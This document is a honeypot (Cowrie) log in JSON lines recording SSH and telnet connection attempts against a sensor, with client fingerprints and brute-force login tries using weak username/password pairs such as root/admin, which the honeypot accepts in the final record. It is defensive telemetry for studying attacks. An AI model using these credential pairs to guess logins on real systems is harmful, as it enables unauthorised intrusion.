{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.330317Z","src_ip":"176.65.132.129","session":"540e53dd1722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.23014974594116,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.437528Z","src_ip":"152.42.224.71","session":"ad60892e3f8c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:42.575058Z","src_ip":"176.65.132.129","session":"540e53dd1722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:43.660307Z","src_ip":"176.65.132.129","session":"540e53dd1722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":44406,"dst_ip":"159.203.135.109","dst_port":22,"session":"5120a12cad1b","protocol":"ssh","message":"New connection: 23.249.28.115:44406 (159.203.135.109:22) [session: 5120a12cad1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:43.936937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:43.941755Z","src_ip":"23.249.28.115","session":"5120a12cad1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:44.134655Z","src_ip":"23.249.28.115","session":"5120a12cad1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8086e81f4c6d","protocol":"telnet","message":"New connection: 152.42.224.71:35836 (10.17.0.5:23) [session: 8086e81f4c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:44.658327Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35850,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0993bfa8aae","protocol":"telnet","message":"New connection: 152.42.224.71:35850 (10.17.0.5:23) [session: c0993bfa8aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:44.824385Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12#$","message":"login attempt [root/Admin@12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:44.936792Z","src_ip":"23.249.28.115","session":"5120a12cad1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35852,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a23bf86d3f8","protocol":"telnet","message":"New connection: 152.42.224.71:35852 (10.17.0.5:23) [session: 3a23bf86d3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.158063Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60158,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5374166ff4","protocol":"ssh","message":"New connection: 176.65.132.129:60158 (159.203.135.109:22) [session: da5374166ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.495999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.501183Z","src_ip":"176.65.132.129","session":"da5374166ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.583446Z","src_ip":"176.65.132.129","session":"da5374166ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.741520881652832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.831532Z","src_ip":"45.226.120.188","session":"43808fb19278","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:45.982133Z","src_ip":"176.65.132.129","session":"da5374166ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:46.132220Z","src_ip":"23.249.28.115","session":"5120a12cad1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:47.068246Z","src_ip":"176.65.132.129","session":"da5374166ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45922,"dst_ip":"159.203.135.109","dst_port":22,"session":"355915951316","protocol":"ssh","message":"New connection: 176.65.132.129:45922 (159.203.135.109:22) [session: 355915951316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:48.767167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:48.881503Z","src_ip":"176.65.132.129","session":"355915951316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:48.888765Z","src_ip":"176.65.132.129","session":"355915951316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:49.375477Z","src_ip":"176.65.132.129","session":"355915951316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23375177383423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:50.062256Z","src_ip":"45.226.120.188","session":"fedfb1b6ded9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:50.459186Z","src_ip":"176.65.132.129","session":"355915951316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45936,"dst_ip":"159.203.135.109","dst_port":22,"session":"58dcd4504406","protocol":"ssh","message":"New connection: 176.65.132.129:45936 (159.203.135.109:22) [session: 58dcd4504406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:52.180402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:52.185079Z","src_ip":"176.65.132.129","session":"58dcd4504406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:52.267429Z","src_ip":"176.65.132.129","session":"58dcd4504406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:52.513755Z","src_ip":"176.65.132.129","session":"58dcd4504406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:53.598525Z","src_ip":"176.65.132.129","session":"58dcd4504406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41882,"dst_ip":"10.17.0.5","dst_port":23,"session":"0293da18bcdb","protocol":"telnet","message":"New connection: 152.42.224.71:41882 (10.17.0.5:23) [session: 0293da18bcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.011034Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45948,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c9977c1504","protocol":"ssh","message":"New connection: 176.65.132.129:45948 (159.203.135.109:22) [session: 32c9977c1504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.313416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.317096Z","src_ip":"176.65.132.129","session":"32c9977c1504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.398531Z","src_ip":"176.65.132.129","session":"32c9977c1504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41890,"dst_ip":"10.17.0.5","dst_port":23,"session":"05791a19e0c2","protocol":"telnet","message":"New connection: 152.42.224.71:41890 (10.17.0.5:23) [session: 05791a19e0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.547568Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:55.650443Z","src_ip":"176.65.132.129","session":"32c9977c1504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:56.734858Z","src_ip":"176.65.132.129","session":"32c9977c1504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":54702,"dst_ip":"10.17.0.5","dst_port":22,"session":"78362247c9c1","protocol":"ssh","message":"New connection: 45.162.8.14:54702 (10.17.0.5:22) [session: 78362247c9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:57.260242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:57.264503Z","src_ip":"45.162.8.14","session":"78362247c9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:57.392812Z","src_ip":"45.162.8.14","session":"78362247c9c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bombbomb","message":"login attempt [root/bombbomb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:57.895693Z","src_ip":"45.162.8.14","session":"78362247c9c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81ad9914993","protocol":"telnet","message":"New connection: 152.42.224.71:51608 (10.17.0.5:23) [session: d81ad9914993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:58.135606Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8741984937","protocol":"ssh","message":"New connection: 176.65.132.129:40620 (159.203.135.109:22) [session: 5a8741984937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:58.611257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:58.617175Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:58.701909Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:58.953566Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
